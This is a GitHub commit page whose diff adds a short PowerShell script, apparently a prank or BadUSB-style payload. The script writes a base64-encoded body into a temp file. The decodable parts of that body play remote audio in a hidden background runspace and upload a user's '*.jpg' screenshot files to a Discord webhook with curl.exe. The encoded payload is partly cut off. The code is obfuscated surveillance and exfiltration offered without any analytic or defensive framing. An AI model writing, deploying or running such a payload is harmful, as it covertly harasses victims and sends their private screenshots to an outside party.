-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
3 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
$webhook = "DiscordWebhook" | ||
$timePosition = "00:00:02" | ||
$TempFile = "$env:TEMP\temp.ps1"; $File = "$env:TEMP\l.ps1"; echo JHNjcmlwdCA9IEAnDQogICAkcGxheWVyID0gTmV3LU9iamVjdCAtQ29tT2JqZWN0ICdXTVBsYXllci5PQ1gnDQogICAkcGxheWVyLlVSTCA9ICJodHRwczovL2F1ZGlvLmp1a2Vob3N0LmNvLnVrL1JPUVFhc3pmSklITnlhb3NzT0VPWVcyOXk0VXNBUEFEIg0KICAgJHBsYXllci5TZXR0aW5ncy5Wb2x1bWUgPSA1MCAgIyBTZXQgdGhlIHZvbHVtZSB0byA1MCUNCiAgICRwbGF5ZXINCidADQokcnVuc3BhY2UgPSBbUnVuc3BhY2VGYWN0b3J5XTo6Q3JlYXRlUnVuc3BhY2UoKQ0KJHJ1bnNwYWNlLkFwYXJ0bWVudFN0YXRlID0gIk1UQSINCiRiZ1Bvd2VyU2hlbGwgPSBbUG93ZXJTaGVsbF06OkNyZWF0ZSgpDQokYmdQb3dlclNoZWxsLlJ1bnNwYWNlID0gJHJ1bnNwYWNlDQokcnVuc3BhY2UuT3BlbigpDQokcGxheWVyID0gQCgkYmdQb3dlclNoZWxsLkFkZFNjcmlwdCgkc2NyaXB0KS5JbnZva2UoKSlbMF0NCnRyeQ0KeyAgIA0KICAgIHdoaWxlKCR0cnVlKQ0KICAgIHsNCiAgICAgICAgU3RhcnQtU2xlZXAgLW0gNTAwDQogICAgICAgIGlmKCRwbGF5ZXIucGxheVN0YXRlIC1lcSAxKSB7IGJ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1JbmNsdWRlICIqLmpwZyIgLUZpbGUgLVJlY3Vyc2UNCmZvcmVhY2ggKCRzY3JlZW5zaG90RmlsZSBpbiAkc2NyZWVuc2hvdEZpbGVzKSB7DQogICAgJGxvZyA9ICRzY3JlZW5zaG90RmlsZS5GdWxsTmFtZQ0KICAgICRmaWxlbmFtZSA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldEZpbGVOYW1lKCRsb2cpDQogICAgJGhleENvbG9yID0gIjU1MjU4MyINCiAgICAkY29sb3JJbnQgPSBbY29udmVydF06OlRvSW50MzIoJGhleENvbG9yLCAxNikNCiAgICAkY3VycmVudFRpbWUgPSAoR2V0LURhdGUpLlRvVW5pdmVyc2FsVGltZSgpLlRvU3RyaW5nKCJ5eXl5LU1NLWRkVEhIOm1tOnNzWiIpDQogICAgJHBheWxvYWRPYmplY3QgPSBAew0KICAgICAgICBlbWJlZHMgPSBAKA0KICAgICAgICAgICAgQHsNCiAgICAgICAgICAgICAgICB0aXRsZSA9ICRmaWxlbmFtZQ0KICAgICAgICAgICAgICAgIGNvbG9yID0gJGNvbG9ySW50DQogICAgICAgICAgICAgICAgaW1hZ2UgPSBAew0KICAgICAgICAgICAgICAgICAgICB1cmwgPSAiYXR0YWNobWVudDovLyRmaWxlbmFtZSINCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICkNCiAgICB9DQogICAgJHBheWxvYWRKc29uID0gJHBheWxvYWRPYmplY3QgfCBDb252ZXJ0VG8tSnNvbiAtRGVwdGggNA0KICAgICR0ZW1wRmlsZSA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldFRlbXBGaWxlTmFtZSgpDQogICAgU2V0LUNvbnRlbnQgLVBhdGggJHRlbXBGaWxlIC1WYWx1ZSAkcGF5bG9hZEpzb24NCiAgICAkY3VybENvbW1hbmQgPSBAKA0KICAgICAgICAnY3VybC5leGUnLA0KICAgICAgICAnLUYnLCAoInBheWxvYWRfanNvbj08J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